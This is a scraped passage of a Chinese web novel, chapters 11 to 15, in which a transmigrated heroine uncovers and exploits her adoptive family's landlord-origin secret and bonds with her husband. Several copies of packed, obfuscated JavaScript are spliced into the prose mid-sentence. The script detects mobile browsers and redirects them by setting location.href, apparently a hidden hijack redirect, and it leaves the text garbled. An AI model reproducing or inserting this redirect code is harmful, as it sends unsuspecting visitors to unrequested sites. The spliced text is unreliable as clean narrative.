l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030846|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是那种下作的药吧。对了,哥,这个女人今天不在家,你说她是不是又去搞什么鬼了?这还怀着孩子呢,一点都不安分。咱们真要带着她一起走啊?” 林晚霜此时刚刚走进屋,还没来得及说话就听到陆星野在背后说她小。 “你昨天不是还跟我说,林晚霜像个好人了?”陆沉舟听到林晚霜进来的响动,却故意没提醒陆星野。 “江山易改本性难移,谁知道昨天她是不是装的?”陆星野背对着门压根没注意到他说的人正盯着他看,“她林晚霜是什么德行你在部队不清楚,我还不清楚吗?” “陆星野!”林晚霜冲到他面前,“你居然说我坏话!” 陆星野看到她的样子也是吓了一跳:“你这是干啥去了?怎么身上全是泥巴?” “去做坏事去了,”林晚霜没好气的看他一眼,“然后被你哥抓回来了。咋样?” 陆星野不傻,立刻就明白刚刚的确是自己误会林晚霜了,但他可不会随便认错:“我说你什么坏话了?我只不过是陈述事实!” 林晚霜不合时宜地想起那句经典网梗:他造你什么谣了?他把我做过的事情说了一遍! 于是一瞬间,她本来就不多的怒气瞬间散了。这事儿,的确怪不得陆星野。原主的锅,她该背。 “她今天去东城了,”陆沉舟喝着陆星野递过来的凉白开,“给爸找到了药的路子。” 陆星野立刻抬头看向林晚霜:“哥,你真信她?!你以前跟我说过,事务反常必有妖,她现在这样真能信吗?” 当着陆星野的面,陆沉舟没有把那套摔失忆了脑域扩大的理论拿出来说,估计也是怕小孩心性,哪天拿自己去做实验。 “相信你哥的判断,她现在是值得信任的。”陆沉舟最后这样说。 陆星野立刻把自己攻略好了:“哥说的对,毕竟她现在怀了孩子,还和林家断绝了关系……啊,对了,林家!” 他一拍脑门想起差点忘了的事:“林晚霜,你爸今天来找你了。他问你到底有没有去把事情处理干净?说如果不去处理,他就把秘密捅出去,和你鱼死网破!” 陆沉舟立刻看向林晚霜:“他手里有你把柄?鱼死网破?所以,你手里也捏着他的把柄?” 林晚霜也看着他:“我真的什么都不知道。” 陆星野立刻撇嘴:“哥,她真的能信吗?你看她又说谎。这种事她怎么可能不知道?” 林晚霜不解释,反正失忆是陆沉舟推断出来的。她正好看看真遇到事了,他是个什么态度。 陆沉舟很显然对自己的推断十分自信:“不记得的事不用强行去想。不过你爸那边,你要去一趟吗?” 她当然要去,既然原主手里捏着林家的秘密,那么她自然得把这个秘密掌握在自己手里。 陆沉舟看出来她的想法,他只是问:“需要我陪着吗?” 林晚霜摇了摇头:“我自己可以,我现在就去林家,看看我和他们到底有什么可以鱼死网破的秘密。” 12. 第 12 章 拒绝了陆沉舟的同行,林晚霜很快到了林家所在的四合院门口。 昨天大闹了一场,她可不敢孤身一人再进去冒险。 她请了院里正在玩耍的小孩把林爱民叫出来。 不多时,林爱民缩着个脖子,双手插袖筒里,跟个没脾气的鹌鹑一样,慢慢地走出了院子。 林爱民想去小拐角没人的地方和她说话,林晚霜却拒绝。搞笑,她一个女人跟明显和她有恩怨的男人独自去偏僻的地方谈事,这是活腻了吗? 看她抗拒,林爱民也没办法,只能依着她一起往巷子口走。 就从这一个行动上,林晚霜立刻咂摸出林爱民即使手里有原主的把柄,也不敢真的跟她撕破脸。 所谓的鱼死网破不过是放大话罢了。 其实就昨天能让她在林家闹成那样,还给钱求着她断绝关系就能看出,林家拿捏不了原主,更拿捏不了她。 只是她既然来了,这个秘密她肯定得掌握住。 走到巷子口那边的大树下,林晚霜住了脚步,她看向林爱民:“爸,咱们也不说什么客套话了,这秘密你真敢捅出去?” 林爱民压根不接这话茬,他低头贼眉鼠眼看了下没人注意这边,才低声说:“我其实就是来问你知青委和割委会那边打算啥时候去?昨天钱和票可都给你了。” 她心下明白,林爱民果然是不敢和自己拼的:“急什么急,大不了咱们一块儿下放去啊。” 林爱民的眼睛立刻就红了:“你个死丫头果然是存了这个心!这些年我们家有什么对不起你的?你捏着那件事天天威胁,一会儿要上学,一会儿要买衣服,弄来的钱你拿去了大半。这会儿,你还要拖着我们全家去死?林晚霜,我告诉你,逼急了我真不怕跟你鱼死网破!” “鱼死网破?就不怕你们这张网破了,我这条鱼还活的更爽快。”林晚霜拿话激他,“就凭你那一手繁体字,闹出去……啧啧” 她这会儿越想越觉得林爱民一家有鬼,搞不好就是个改头换面藏在人民群众中的间谍。 举报他们,和他们断绝关系,那可是算立功的。 “呵,”林爱民冷笑一声,“你要是没和陆家断绝关系,没怀上地主崽子,说这话还有人信。现在嘛,谁会信你这种流着地主血的阶级敌人?” 晴天霹雳! 林晚霜万万没想到这里爆出个雷来。所以,他们要说的秘密就是,原主不是贫农,而是地主崽子? 等等,那眼前这个林爱民是啥情况?这不是原主的亲爸吗? 她按捺住心头的疑惑,先声夺人:“稀奇了,我可是你亲女儿。我身上流着地主血,那你就不是个真贫农!” 林爱民瞬间愤怒起来:“林晚霜!我妈,我媳妇都可以作证,你和我们家一点关系都没有。还想赖我是你亲爸?你的脸呢?” 第二个雷来了。 所以,原主她是地主家的孩子,因为某种原因被林家人养了? 不过,林晚霜才不相信这件事那么简单,原主或许真的不是林爱民生的。 但林爱民肯定也不干净。他那么怕这秘密曝光,他还有一手繁体字就证明这事儿绝不简单。 如果单纯是帮地主养孩子,哪里可能会受到原主威胁? “呵呵,会写繁体字的真贫农,说出去有人信吗?林爱民,你可经不起查!” 林爱民果然慌了:“我就是来问你,啥时候把知青委和割委会那边的事摆平?你不要扯这些有的没的。” “是谁在扯?是谁要和我鱼死网破?”林晚霜笑,“林爱民,我以后大概都回不来了,你觉得我会不会临走前就把这事儿捅出去?” “你咋就这么坏啊!”林爱民悲愤欲绝,“你亲爸亲妈两个老实桩子咋就生出你这么坏的种?他们多老实啊,你姨奶奶给他们喝毒药,他们接过来就喝了。还跟我磕头说求我好好把你养大。你真是坏透了,一点儿没学到你亲爸亲妈的好。” 这话……林晚霜只觉得很想打他一巴掌。 合着得被你乖乖弄死才是好人? “他们是老实桩子我可不是,”她真的很气,“我就是来替他们报仇的!” “报仇?”林爱民觉得不可思议,“他们还要报仇?林晚霜你脸咋那么大呢?你自己也知道你亲爸才是真正的地主崽子!他占了我的名字,我的位置!他们也是自己选择和我换回来的!居然还要报仇?要报仇的也应该是我才对!” 第三个雷。 姨奶奶。地主崽子。占了身份。 这里头居然藏着个真假少爷的梗? 林晚霜明白了,事实的真相应该是,原主的爸和林爱民年龄相仿,被调换了身份。林爱民在地主家长大,锦衣玉食学会了一手繁体字,原主的爸则生在农家,娶妻生女。 本来两个人一辈子就都这样了。但是割委活动开始了,林爱民为了不被划成坏分子下乡,和原主的爸换了回来。 而为了更保险,原主的爸妈一起喝了药死了,死之前还把女儿托付给林爱民。 林爱民还在痛心疾首:“你太坏了啊!才七岁,偷看到你爸妈死了也不跑,还出来跟我们提条件。偏偏我们太老实,太善良了,还想着你能引个儿子回来。就真的放过你了。” 不得不说,此时林爱民的表情,任谁看了都觉得他真委屈。 “你知道我这些年过的多苦吗?为了不被人发现,我只能跟你爸一样缩着个脖子走路,还不敢多说话。对外得说你妈死了,才能把我媳妇接回来,你姨奶奶更惨,还得在外头装个好奶奶,我们一家都委屈啊!”林爱民响亮的擤了擤鼻涕。 “天知道做坏事的都是你亲爸,他占了我的名字,占了我的人生,完了我还得装他……我难啊!”林爱民说到这里突然抬头,“你真坏,太毒了。跟你爸一样杀人诛心!” “那个,”林晚霜发现已经有几户人家开门探头想凑热闹了,“你刚刚说,我亲爸亲妈都是老实桩子。就我一个坏人。” “装的,”林爱民认真地总结,“他们不可能真老实,不然也不能抢占我的人生。本来我就是根正苗红的贫农,结果拥有了一段这么污秽的经历。我真的太惨了。” 正这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030847|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,有人走出来了:“老林家,你们在说啥呢?” 林爱民瞬间顿住,头一下子缩回去,手插袖筒,恢复鹌鹑样儿。只是这鹌鹑脸上还挂着眼泪鼻涕。 林晚霜这一刻突然觉得不必立刻把他们揭发了。 因为林爱民这个人已经毁了,不管他以前是什么样的人。他现在都只是个一有风吹草动就只会缩起来的鹌鹑。 而且她既然掌握了这个秘密,只要她想,她随时都能轻松帮原主父母报仇。 现在嘛,就让他们自己做个惊弓之鸟也挺好的。 她有了主意,当即就对来人说:“我要和婆家下放了,我爸不放心我。非要拉着我回去吃个饭,还要给我准备粮食和钱。我说不行,家里还得过日子。他就哭了。说就我一个女儿,好的都得给我。” 她的声音很响亮,里头的信息又多。一瞬间好几个大婶儿从自家院子里蹿了出来。齐齐围住林爱民。 “老林,你闺女说的是真的?” “不能吧,老林家能有好人?” “那咋不能?打断骨头连着筋呢,而且晚霜丫头没少帮家里骗钱……” “我记得了,上次找你男人碰瓷,硬是要了20块,不给就去报案抓盲流对吧……” 一下子场面变得乱糟糟的,林爱民缩着身体,拼命想往不起眼的地方钻,可这里哪有? 眼见更多人要围上来,林晚霜笑吟吟地看着林爱民:“爸?你真的要给我张罗一桌啊?” 这下子所有人都不说话了,齐刷刷看着林爱民。 林爱民只能点头:“下次,下次带上你男人过来。” 林晚霜不给他说下次的机会,她直接仰头冲树上喊:“陆沉舟,快下来。” 愣了几秒,树上几只停在枝头的鸟雀扑棱着翅膀飞走了。 “陆沉舟你麻溜儿给我下来,早看到你了!”林晚霜叉腰继续喊。 围观众人甚至就连林爱民都忍不住伸头去看。 此时天色暗沉,这树又大,叶子也都在,哪里能看出有个人? 正当大家怀疑林晚霜乱喊时,只听有人“哎呀”的叫,陆沉舟已经从树上轻轻跃下,到了地上。 林晚霜笑眯眯看着林爱民:“爸,我男人来了。别下次了,就现在吧。我不嫌弃。” 这下子看热闹不嫌事大的人都开始拿话激林爱民。 “老林啊,你刚刚不是说要给你女儿女婿张罗饭吗?现在女婿也来了。” “还有粮食和钱,你闺女这一去,以后八成难见了。给少了可不行,咱可都看着呢。” “这话说的,老林能小气?晚霜丫头结婚可是有300块压娘家了。” “没那300块林家也不缺钱不是?哈哈哈,坑蒙拐骗偷,你林家大功臣要走了,可不能小气哦。” 林爱民憋红了脸,任他们怎么说都不开腔。 林晚霜走过去,声音很低:“想知道割委会和知青委那边我有没有摆平,就别反抗。” 林爱民抬起头,宛若被掐了脖子的鸭,从嗓子眼挤出字来:“那,走吧。” 13. 第 13 章 半小时后,吊梢眼女人心疼地看着干干净净地碗筷,手里紧紧拽着想要冲上去的小胖墩。 她对着正抹嘴的林晚霜和陆沉舟努力挤出个笑:“吃完了吧?快点走吧,天都黑了!” 林晚霜不急:“今天一走我们这辈子大概都见不到了。” 吊梢眼女人一喜:“那真是太……” 林晚霜瞥她一眼:“太难过了对吧,妈!” 这个“妈”是加重了语气词的。 林爱民一回来就和吊梢眼女人通过气了,此时听到林晚霜喊自己妈,女人吓得就是一抖。 林晚霜看向林爱民:“爸,我妈这什么态度啊?难道是想和我鱼死网破了?” 林爱民赶紧对着吊梢眼女人使了个眼色,自己站旁边陪笑:“啥鱼啊网的,快要出门了,这话可不兴乱说哈。” 林晚霜却是继续追问:“那我妈还没回答舍不舍得我呢。” “当然是,舍不得你。”吊梢眼女人咬牙切齿地挤出话来。 林晚霜抬手抹眼角:“妈舍不得我啊,沉舟,我妈既然舍不得我,那我还是……” 吊梢眼女人一下子被她这话勾的紧张起来。 林晚霜看她一眼,莞尔一笑:“还是得走,不过妈你既然这么舍不得我,临行前是不是该给我准备点什么啊?” 林爱民明白了,这特么还是来敲他们竹杠的。但同时他也松了口气,既然被敲竹杠了,就说明这秘密她暂时不会捅出去了。 现在只差割委会和知青委那边能摆平…… 在林家人的配合下,不多时一个满满当当的背篓已经备好。钱,票零零碎碎的包了两个手帕,老太婆在儿子的瞪视中,心不甘情不愿地将自己藏床底下的银镯子递给了林晚霜。 “那个,霜丫头啊,你妈的遗物我也还给你了,”老太婆被推出来和林晚霜说话,“你看割委会和知青委那边的事,啥时候有空去办了?” “割委会和知青委?”林晚霜哎呀一声,轻轻拍了拍自己的脑门,“瞧我这个记性,忘了说了,我压根儿就没去帮你们报名。” 话音刚落,屋子里几个林家人都快疯了。小胖墩林耀祖一口咬下捂着他嘴巴的吊梢眼女人,跟个疯狗一样朝林晚霜冲撞过来。 “死丫头,疯丫头,我撞死你……哎呀!”他冲撞到一半被陆沉舟一只手按住头,再也动弹不得。 “惊不惊喜?意不意外?这只是吓唬你们的,但再有下次可就直接乡下见了。”林晚霜看向这一个个被霜打蔫了的茄子补了个刀。 “对了,不用担心我离的太远管不着你们,这院子里头光我的眼线就不下三个,”林晚霜开始瞎掰扯,“巷子里头,街道办……哎呀,反正你们想想,就我这人品。要拿捏别人的把柄让人帮我办事,还是很容易的。” 林家人脸色变了又变,他们能不清楚吗?他们深受其害,被她死死拿捏了多少年? 只是原以为破财送瘟神,却没想到这瘟神根本就送不走。天知道这瘟神到底有多少眼线? 现在恐怕他们觉都睡不踏实了。 林晚霜目的达到,又笑着给老太婆掸不存在的灰:“我的好奶奶啊,喊了您那么多年妈的人,可在地下一直看着您呢。您可千万要长命百岁哦。” 老太婆身子抖了抖,下意识想要往身后看,她声音打着颤:“这怎么可能?” “以前没出现八成是有我这个女儿在呢,现在嘛。奶奶你自求多福。” 她撂下这句话,不顾已经吓得脸色煞白的老太婆,继续看其他人:“你们在家好好做人,要是我的眼线说你们还有坑蒙拐骗偷的行为,我就立刻寄信给报社把秘密爆出来!” 吊梢眼女人已经跑过去救自己儿子了,听到她这话立刻抬起头:“这不都是你教我们的营生吗?怎么现在又不让我们做了?” “不让了,我洗心革面了,”林晚霜宣布,“接下来风声更紧,贫农里头也要抓典型严打了。敢牵连到我,你们……一个都逃不掉!” 有原主自私贪婪又奸诈的人品珠玉在前,她随口胡诌的慌,都显得格外真实。 林家人互相看了看,都感觉腿肚子软。这里头除了老太婆,其他人都没种过地,否则也不会跟着原主学坑蒙拐骗。 林晚霜压根不理会被她吓傻的众人,她示意陆沉舟背上背篓。 林家人拥着两人走到院门口,林晚霜突然想起个事:“对了,那个断亲书别登报了,这年头还是得有个娘家才不受欺负。” “然后让你来欺负娘家……唔唔唔”小胖墩又被紧急捂了嘴。 林晚霜掐着他的胖脸:“小孩子净说大实话,你要是敢变成你爸妈奶奶这样的坏人,呵呵,你不会想知道后果的。” “唔……谁特么能有你坏……”小胖子咬了一口吊梢眼女人的手,争取到半句话的机会,又被林爱民捂了嘴。 “真舍不得你们,”林晚霜感叹道,“要不跟我一起……” “砰!” 她被人推出去。院门在身后重重关上。 “他们太着急了,”林晚霜摇摇头,“唉,都不让我把话说完。” 陆沉舟看着她,月色微凉,今晚是上弦月,此时如水的微光洒在她脸上。 “你今天玩的很开心?”他问。 林晚霜点头:“知道了他们的把柄,又打到了秋风。怎么不开心?” 然后她又问:“你呢?在树上看戏怎么样?” “什么时候知道我在树上的?”陆沉舟怎么也想不通,他的藏匿技巧居然被轻易看穿。 “其实没发现,只是我想你既然在密切观察我,那我和林爱民单独见面的机会,你肯定不会错过。所以我就试着诈一诈你咯。” 林晚霜的确是这样想的。当时陆沉舟提出要陪她一起,她是拒绝了。但走了几步,她就立刻感觉到了不对劲。 陆沉舟是个谨慎的人,他虽然已经得出了自己失忆的结论,却不会放过这么好的验证机会。 所以她即使拒绝了他的陪同,他也一定不会放弃。 她想到了这里就立刻让小爱同学定位了他的位置,当看到他的位置正随着自己而移动时,她还观察了四周,只是他隐匿技巧太好。根本发现不了。 等她和林爱民一起走出向巷子口时,她发现陆沉舟已经提前一步上了树。于是干脆就在树下聊天,顺便让他听个现场。 正因为知道他就在旁边,她试探起林爱民格外有恃无恐,几次去故意戳人肺管子。只可惜林爱民太怂,给他机会他都不敢上来碰她一个指头。 陆沉舟接受了她的解释,毕竟她失忆后的确是聪明了。 但他却提出了新问题:“你不准备为你亲爸妈报仇?” “仇肯定要报,”林晚霜说,“但现在举报他们也会影响到我们家,再说了,君子报仇十年不晚。我这不就先收了点利息回来?” 陆沉舟看她那么自然的说出“我们家”,心里竟多出些奇怪的感觉。 “你知道过几年贫农也要被抓典型?”陆沉舟又问。 林晚霜漫不经心地踢着脚下的泥块往前走:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035210|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,诈他们的,眼线也是假的,我不是失忆了嘛,啥都不记得了。但总得给他们上个弦,不然他们根本不会老实,又要去坑蒙拐骗偷。” “骗人这个习惯,你好像改不了。”陆沉舟皱眉。 林晚霜耸肩:“对付坏人,说点慌让他们不做坏事,我没觉得我有错啊。” 陆沉舟听到她这话的一瞬间,第一反应就是她在狡辩。这是当着他面对坏人撒谎,他不在的时候呢?她说谎还会分人好坏吗? 她真的是无论失忆前还是失忆后,恶习都刻在了骨子里。完全不可救药! 林晚霜见他听完自己的话后,脸色阴沉下来,半天都不吭声,心里估摸着他应该是觉得只要说谎就不对。不管是对好人还是坏人。 林晚霜知道她肯定是招陆沉舟讨厌了。但是她不想改。她是从底层爬出来的,看到了太多好人没好报,坏人没报应的事。 她那时候就在想,如果坏人没有报应,为什么还要做好人呢? 所以,坏人就应该有报应才对。 老天爷不管,她遇见了她就管。 对付坏人用点坏路数怎么了? 她就不改! 然而很快,她又想到,自己没摆正位置和心态。 陆家是她的公司,陆沉舟是她的老板。她和老板公开对着干,这太不理智了。 看来穿越过来这两天她太紧张了,都忘了打工人的职业操守。 林晚霜给自己做完心里建设,立刻舒坦多了。 总之,面前这个给自己提供安身立命之所的老板,老板嘛。捧着就行了。 “陆沉舟,”林晚霜率先打破了沉默,身为打工人向老板低头多正常啊,“我骗人不对,我以后尽量克制下。” 她默默补充,遇见坏人我就去你看不到的地方整! 然而她不知道,陆沉舟刚刚也给自己做完心里建设。 他已经想明白了,就今天她做的事,真不至于上纲上线。做事要讲究证据,他光是为了一个猜测,认为她会不分好坏的说谎骗人就给她冷脸,这不对。 他们是夫妻,目前他也没了和她解除婚姻的想法。那么他就该尝试对她多一点信任。 陆沉舟看向她:“没事,你就正常做自己,我会在旁边看着的。” 林晚霜还不知道身边的男人已经打算和她过一辈子了。 她现在完全把自己当做了打工牛马,于是陆沉舟的话在她听来就是老板在多方位全面考评自己员工的意思。 老板考核?她才不虚! “好,你就等着看吧!”林晚霜斗志满满,“我不会让你失望的。” 她这样子落入陆沉舟眼里就是在寻求自己的认可和关爱。 他突然发现,她真的和之前不一样了。 林晚霜嫁过来的时间不长,除了她恶臭的名声,陆家人对她的不喜主要来自她逼着自己娶了她。 她现在失忆了,她的世界变得很小,除了自己其余所有人都没分清她失忆前后的区别。 她无处可去,无人可依。只能寻求自己对她的关爱和认可。 而身为丈夫的他,其实也做的不好。既然确定了自己是可以接受现在的她。那么就需要更有担当一点,至少不能让她一个人独自面对这个让她感觉陌生恐怖的世界。 现在又是她先无视自己的冷脸,先一步表态,那么身为男人,他必须做出该有的担当。 “林晚霜,”他看向她,正式发出邀请,“今晚和我一起上山吧。下放的物资,我们一起准备。” 14. 第 14 章 听到陆沉舟邀请她晚上一起上山准备物资。 她先是一怔,继而恍然大悟,这算是投名状被采纳,同时刚刚自己对老板精神领悟到位,所以被邀请了参与公司核心项目。 “好!我一定会积极准备!”她开始积极表忠心,“还有,你刚刚不是问我,要不要报仇?我的回答是,既然我到了这里,成为他们的女儿,那么就应该背起这份责任。现在是因为我们情况特殊,我怕陆家被影响,等我们在边疆安稳了,我就会动手。” 陆沉舟看着她的眼神,确定她的话都是真的发自肺腑。 他内心深处不禁对她更多了一些认同。 为人子女,为父母报仇本就天经地义。 陆沉舟之所以能容忍她主要是因为她即使是在失忆前也没有真正伤害过他的家人。 否则哪怕她失忆了,变好了,他都不可能这么快接受她。 他母亲的死和她关系其实并不大。 真正要了母亲命的…… 陆沉舟想起那封来自京都的信,他眼中闪过一丝狠戾。虽然父亲叫他不要追究,上一辈的恩怨到此为止,然而他觉得,父亲想的太简单了。 家里的成分划定,直属领导突然失联时他被紧急退伍。一切的一切都在预示着幕后之人想要绝不是适可而止。 想到这里,他看向林晚霜:“我有个仇人,可能权势很大,你怕不怕?” 林晚霜想到他刚刚最关注的是她会不会帮父母报仇,立刻明白了:“是害死你妈妈那封信的主人吗?” 说实话,她刚刚穿来发现原主居然害死了自己婆婆后心情是绝望的。因为隔着一条人命,她根本不可能在这家混下去。 后来发现陆家人虽然厌恶她,却没苛待,还以为是人家人好,隔了条命都没计较。 直到从陆星野那里知道,气死婆婆这句话其实是用来辖制她而非事实时,她才彻底松了口气。 然后她想知道信是谁寄的,内容是什么却被陆沉舟以蠢货知道越多死越快为由拒绝。 现在听他主动提起,她立刻意识到,至少现在在他心里,她已经不能算是蠢货了。 “信是匿名,”陆沉舟说,“但是邮戳地址京都发过来的。” “京都过来的,”林晚霜重复重点,然而线索太少,光知道这个压根没用,“信里的内容是什么?” “等合适的时候,我会告诉你,”陆沉舟说,“还有件事你失忆了不知道。T市这边的人基本都知道,45年我爸就把家里的家产捐给组织了。” 45年!抗战还没结束! 林晚霜意识到了问题:“信主人的能量很大。” 如果能量不大,为什么能把众所周知的红色地主,打成坏分子? “所以你要不要考虑离婚?”陆沉舟看着她。 这是公司在给予重大项目之前考验员工要不要跳槽,这题她熟。 而且她很快就想清楚了,对方其实也没那么厉害。 所以这明显就是在考验她的分析能力嘛。 “幕后的人,无论出于什么原因,他是到了现在才敢对你家动手,”她认真交上自己的答卷,“这说明有人在护着你们家。所以那个人的势力并没有大到可以翻云覆雨。” 她果然变得很聪明!陆沉舟眼中闪过赞赏之色。 “而且,即使手眼通天又如何?舍得一身剐,敢把皇帝拉下马。”林晚霜突然开始掰自己的手指头,“敢让我林晚霜给他背黑锅,看我怎么收拾他。对付坏人,我最有办法了!” “所以你是不离婚了?”陆沉舟问她。 “废话,离婚一直是你在提,我可从来没有说过。” 林晚霜白他一眼,眼看能参与公司核心业务,居然还妄图让她离职失业,真是该死的资本家。 他接收到这记白眼,突然心情极好,于是又加快了脚步。 “喂,你慢点!慢点!”林晚霜立刻被甩开一大截。 “林晚霜,保护好你的脑袋,”他的声音从前方传来,“现在这样很好,记忆真的不重要。” 她快步追上:“你真的就认定我是摔坏脑子变成这样的?” “不是,”他说,“不是摔坏,是摔好了。” 她看他如此认真,突然玩心大起:“万一我真的又摔了你怎么办?弄死我?” “摔了?” 他停下脚步,认真看着她:“那我就把你捆起来继续摔,摔回现在这样。” 她被他认真的眼神看的浑身一抖,脑海中闪过一个画面——她被陆沉舟捆成粽子,像打桩一样,把她头朝下使劲儿往地上磕…… 她下意识抱住脑袋,感觉痛的厉害:“别盯着我脑袋看了,它叫你快走开!” 两人一路紧赶慢赶,回到陆家已经快八点了。 陆星野看到他们赶紧迎出来:“哥,啥情况?林晚霜她家到底搞什么鬼?” 陆沉舟真准了一下,把林家的事跟他说了。 “我的天!”陆星野哪里听过这种事,一时间看林晚霜的眼神也不再全是防备,“那林晚霜也挺惨的。” 但他很快又把这情绪抛开了:“但是再惨也不是她可以来祸害我家的理由啊。” 林晚霜不得不感叹,这孩子被教得真好,不过才5岁,分得清里外,也分得清好坏。 陆父是真会教孩子啊,把两个儿子都教的很不错。 陆沉舟点了点头:“你的辩证思维学的很好,可怜的人很多,但这和我们无关。我们要看的是,这个人是不是好人,以及,她对我们有没有害。” 陆星野秒懂:“就像林晚霜,她很可怜,但是她是个坏人,而且想杀我们。所以需要继续防备她!” 林晚霜差点噎住,她看向陆沉舟:“他是你教的?” “有问题吗?”陆星野白她一眼,“我才是哥哥最爱的崽。” 他从小就是被哥哥一手教导的,哥哥每次回家,都会拎着他去特训。还会给他布置作业,分析多少人,或者观察谁,然后写信打电报来检查。 “他这样防备我,你也不管管?”林晚霜拿小孩子没办法,直接上终极大招,请家长。 “从常理来看,他的做法合乎逻辑,完全正确,”陆沉舟点头,“再说了,你的情况特殊,万一不小心又摔回去了,与其让星野毫无防备面对那样的你,还不如从一开始就让他保持警惕。” “哥,你们在说什么?”陆星野挠挠头。 “我在说,你学的很好,特别好,”陆沉舟看着他面带鼓励,“有你这么警惕的守在家里,哥哥非常放心!” “那是必须的!”陆星野开心了,“咱爸妈都是老好人,没有我在,这个家真是太危险了。” 陆沉舟想起等会儿要带林晚霜上山的事,知道陆星野发现了肯定不开心,于是他用严肃地表情看向陆星野,并向他行了军礼。 “陆小兵,现在我有一个非常重要的任务要交给你,有没有信心完成?” 陆星野立刻站的板直,神情严肃行礼.“报告长官,陆星野听您指示!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040255|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我找人打听了,明后两天,割委会会来咱家宣读下放通知。”陆沉舟认真对他解释,“今晚我需要和林晚霜同志一起上山准备肉干,你有没有信心看好家,照顾好爸,给我们打好掩护?” “哥……”陆星野立刻瘪嘴了。 “回答我,陆小兵!”陆沉舟提高声音,“有没有信心完成任务。” 陆星野狠狠地抹了把脸:“报告长官,陆星野坚决执行任务!” 这阵仗把一旁的林晚霜看的一愣一愣的。 然而她不得不承认,陆沉舟这招非常有用。陆星野已经开始找出两个军用水壶给他们灌开水,又找了个篮子给他们准备干粮。 除了小脸还委屈巴巴的,其他方面再也看不出异常。 他灵活地安排着他们的后勤,去柴房把匕首和绳子找出来,在背篓里放一床破被子…… “你不帮他?”林晚霜看着坐在椅子上休息的陆沉舟。 “这是勤务兵该完成的工作,”陆沉舟回答,“星野非常熟练,他很清楚我们需要带什么。” 这点她无法否认,因为的确陆星野拿出来的很多东西她是没想到的。 “他才五岁啊,”她忍不住感叹,“这也太厉害了。” 她说完又忍不住看着眼前这个男人:头脑好,身手强,还那么擅长教孩子……这样比起来,外表真的是他身上最不值一提的优点。 也不知道以后会是哪个女人有福气能和他携手一生。 算了,打工人还是多专注自己,少操心老板吧! 陆星野用了不到十分钟就准备好了他们要带的东西。 他将背篓压紧,这才依依不舍地看向陆沉舟:“哥,快走吧。我不拖你时间了。” 然后他又看向林晚霜,鼻子里哼了一声:“林晚霜,别给我哥找麻烦!别想干坏事,我哥眼睛利着呢。” 陆沉舟摸了摸他的头,什么都没说。背起背篓和林晚霜一前一后的出了屋。 陆星野把他们送到院门口,又在院门口看到他们身影消失在视线中,这才缩回头轻轻关上院门。 “你把弟弟教的很好,那你以前是谁教的?”走了一段路,林晚霜锤了两下已经酸软的大腿,问出这个她很想知道的问题。 “去部队里头,被事教的,”陆沉舟看她明显疲惫,步伐也慢了下来,“事教人会学的很快,只不过难免会多吃些亏。” 这话她非常认可,因为她就是这样的。 原本应该父母来教导的为人处事,人情往来,她都是自己在社会上学到的,当然,学习的过程和代价参杂着眼泪和心酸。 她突然发现,其实他们是有相似之处的。只是他比她幸运一些,至少父母并没将他视为工具。 她的心情低迷了起来,饶是原主身体素质再好,她今天也走了十几个小时路,腰酸腿软,本来就靠着高昂的情绪撑着,现在这劲头一下去,她立刻感觉浑身都在叫嚣要休息。 “怎么了?”陆沉舟看她。 “你是不是忘了,我不是你的兵?”她心情不好,说话也很不客气,“今天对我来说,算是高强度行军了。” 他仿佛突然意识到了什么,脸色一变,看向她的小腹:“那你肚子有没有事?” 她下意识地低头摸上小腹,这才意识到自己还有个孕妇的头衔。 她仔细回想了一天的情况,脸色一僵:“陆沉舟,你快仔细回想一下,你到底有没有和我睡过?为啥今天我走了一天,肚子也没反应?我真的怀孕了吗?” 15. 第 15 章 林晚霜这话一出口,陆沉舟当场就怔住了。 不过这次他没有像之前那样把问题全推到她身上。而是仔细思考了自己的感受后才回答。 “实际上那算是我的第一次,所以我也不清楚,睡了没睡会有什么不同的感觉。” 这点她是不怀疑的,这年代婚前性行为那是要批斗,游街,打成盲流的事。 不过—— “射了没射你没感觉?” 陆沉舟的脸刷一下红了,他突然抬起头看向远方的群山,脚下步伐也加快了些。 林晚霜来了劲,忍着身体的酸痛追上他:“问你呢,你就没做过手活……这是非常严肃地话题,关乎我肚子里到底有没有货,所以请你诚实告诉我!” 他闷头走的越发快,正当她以为他永远不会回答时。他说话了—— “你哪儿知道的这些污言秽语?”失忆了不该大脑一片空白吗?她从哪儿知道了这些荤话?难道脑域还能往这里开发? 